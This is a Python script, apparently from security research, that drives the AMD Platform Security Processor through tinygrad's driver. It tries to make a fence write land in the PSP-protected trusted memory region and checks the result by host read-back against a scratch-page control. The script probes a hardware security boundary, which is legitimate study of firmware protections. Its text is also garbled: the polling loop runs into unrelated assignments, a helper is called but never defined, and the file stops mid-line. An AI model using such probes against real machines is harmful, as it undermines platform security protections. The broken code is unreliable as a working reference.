#!/usr/bin/env python3 """Does a fence write into the TMR actually land? Read it back directly. The functional spray was far too sparse (300 dwords over 19 MB) to disturb anything, so it proves nothing. The TMR is host-allocated VRAM that the PSP protects, so try the direct question: write a known value via fence_addr and read that offset back from the host. * host read shows the value -> the write LANDED in the trusted region * host read blocked/unchanged -> inconclusive for the write, but tells us about reads Control: the same procedure against an ordinary scratch page, where the value is known to land, proves the read-back method works. """ import ctypes, glob, struct, sys, time sys.path.insert(0,'/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev=Device["AMD"].iface.dev_impl; psp=adev.psp RESP=864; frame_sz=ctypes.sizeof(am.struct_psp_gfx_rb_frame); step=frame_sz//4 def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) tmr_pa=psp.tmr_paddr; tmr_mc=adev.paddr2mc(tmr_pa) blob=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read() ap_,amc=alloc(0x80000); cp,cmc=alloc(0x8000); scratch,smc=alloc(0x1000) n=(len(blob)+3)&~3 adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() def raw(cmd_bytes, fence_mc, fence_val, wait=0.5): adev.vram.view(psp.cmd_paddr, len(cmd_bytes))[:]=cmd_bytes adev.vram.view(psp.cmd_paddr+RESP,4,'I')[0]=0xA5A5A5A5 adev.gmc.flush_hdp() wmax=psp.ring_size//4 prev=adev.reg(f"{psp.reg_pref}_67").read()%wmax msg=am.struct_psp_gfx_rb_frame(fence_value=fence_val, cmd_buf_addr_lo=adev.paddr2mc(psp.cmd_paddr)&0xFFFFFFFF, cmd_buf_addr_hi=adev.paddr2mc(psp.cmd_paddr)>>32, fence_addr_lo=fence_mc&0xFFFFFFFF, fence_addr_hi=fence_mc>>32) adev.vram.view(psp.ring_paddr+prev*4, ctypes.sizeof(msg))[:]=memoryview(msg).cast('B') adev.reg(f"{psp.reg_pref}_67").write((prev+step)%wmax) t0=time.time() while time.time()-t0>32; t.app_len=len(blob) t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x4000 return bytes(memoryview(c).cast('B')) st=raw(mk_load(), smc, 1) sid=struct.unpack_from('